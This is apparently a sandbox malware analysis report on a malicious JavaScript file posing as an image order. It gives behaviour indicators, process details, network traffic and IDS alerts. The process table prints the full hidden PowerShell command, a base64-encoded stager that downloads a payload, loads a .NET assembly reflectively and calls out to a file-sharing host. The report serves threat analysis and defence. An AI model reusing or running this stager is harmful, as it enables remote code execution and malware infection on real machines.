| File name: | SKBMT IMG Order 7061308725.JS |
| Full analysis: | https://app.any.run/tasks/97062095-4f55-4e2f-872a-161b1c9a4024 |
| Verdict: | Malicious activity |
| Analysis date: | May 15, 2025, 14:12:31 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, ASCII text, with very long lines (65536), with no line terminators |
| MD5: | 7691ED40F1396DC39FDA54FC192C8E96 |
| SHA1: | 11D7A5AC99EB820BAE566812CC149B1818295FA8 |
| SHA256: | 75C530F7A386C22EA7EFFD8F3A33BF4D3AE148239E7154798CCCBB3A205F6771 |
| SSDEEP: | 768:a/YLCQQEh2XOXOdEXf57D3alcCMB4VZJ0vxWHZ/Fwbm+SW5KhSlaaXhXmQZy1n:WsBPw3zQdQn |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 6032)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 6032)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 6032)
SUSPICIOUS
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 6032)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 4428)
Executes script without checking the security policy
- powershell.exe (PID: 6032)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 4428)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 4428)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 4428)
Runs shell command (SCRIPT)
- wscript.exe (PID: 4428)
INFO
Checks proxy server information
- powershell.exe (PID: 6032)
Disables trace logs
- powershell.exe (PID: 6032)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 6032)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6032)
Remote server returned an error (POWERSHELL)
- powershell.exe (PID: 6032)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 6032)
Gets data length (POWERSHELL)
- powershell.exe (PID: 6032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
135
Monitored processes
7
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4428 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SKBMT IMG Order 7061308725.JS" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 4880 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4980 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6032 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fructificative = 'JGdhbmdidXN0ZXJzID0gJ3R4dC5ra3dudml1aG4vcXl5YXcvcW91cnRscHpoMm1ld2FlYmpvcXVsa3J0bGV3ai93YXIvb2kuZXJhaHNqcm90cy5rbmlsLy86c3B0dGgnOyRwaWNsZSA9ICdodHRwczovL3dlYm1haWwuYXJ1YmEuaXQvc21hcnQvY2dpLWJpbi9hamF4ZmlsZT9BQ1RfRklMX0RMPTEmUFVCTElDVUlEPUAxLlZGTXhNMFJMVW1scGFrNVZVQ3Q0UmtkRVUzbHVSM1Z6Um14bmVIQXpVU3RrVHpCSlp5dGhXbWhCWVV4NmRqTllWekJzVjFORllWbERObXA1YjNOd01BPT0nOyRtaWNyb2xpdGhzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbWljcm9saXRocy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7JHRpcHVsYSA9ICRtaWNyb2xpdGhzLkRvd25sb2FkRGF0YSgkcGljbGUpOyRhcmNoZW9sb2dpc3QgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkdGlwdWxhKTskY3liZXJzcGVlY2ggPSAnPDxzdWRvX3BuZz4+JzskZGlhbmRlciA9ICc8PHN1ZG9fb2R0Pj4nOyRiYW5pZSA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkY3liZXJzcGVlY2gpOyRzY29ybmZ1bCA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkZGlhbmRlcik7JGJhbmllIC1nZSAwIC1hbmQgJHNjb3JuZnVsIC1ndCAkYmFuaWU7JGJhbmllICs9ICRjeWJlcnNwZWVjaC5MZW5ndGg7JGNydW1taWVyID0gJHNjb3JuZnVsIC0gJGJhbmllOyRtaWxsaWxpdHJlcyA9ICRhcmNoZW9sb2dpc3QuU3Vic3RyaW5nKCRiYW5pZSwgJGNydW1taWVyKTskYXlvbmQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtaWxsaWxpdHJlcyk7JHNhd2hvcnNlID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYXlvbmQpOyRMYXZlcm5hID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dIEAoJGdhbmdidXN0ZXJzLCcnLCcnLCcnLCdNU0J1aWxkJywnJywnJywnJywnJywnQzpcVXNlcnNcUHVibGljJywnYWRkcmVzcycsJ2pzJywnJywnJywnZGlzcGxheWFibGUnLCcyJywnJykp' -replace '','';$deedless = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($fructificative));Invoke-Expression $deedless;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6572 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6960 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
6 221
Read events
6 220
Write events
1
Delete events
0
Modification events
| (PID) Process: | (4428) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 11C6100000000000 | |||
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6032 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:DC309438B579256238227F8110FF1AA0 | SHA256:9A2BAEC4AD1A3BD27786F31BC2031F7EB735BE21742257DA8680A32B7C96338B | |||
| 6032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1ig3rrdw.huq.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_s20mf3ed.3k4.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
23
DNS requests
15
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4448 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4448 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
— | — | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6032 | powershell.exe | 62.149.158.90:443 | webmail.aruba.it | Aruba S.p.A. | IT | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
webmail.aruba.it |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
link.storjshare.io |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Potentially Bad Traffic | ET FILE_SHARING File Sharing Service Domain in DNS Lookup (link .storjshare .io) |
6032 | powershell.exe | Potentially Bad Traffic | ET INFO Observed File Sharing Service Domain (link .storjshare .io in TLS SNI) |
2196 | svchost.exe | Misc activity | ET TA_ABUSED_SERVICES Commonly Actor Abused Online Service Domain (storjshare .io) |
6032 | powershell.exe | Misc activity | ET TA_ABUSED_SERVICES Observed Commonly Actor Abused Online Service Domain (storjshare .io in TLS SNI) |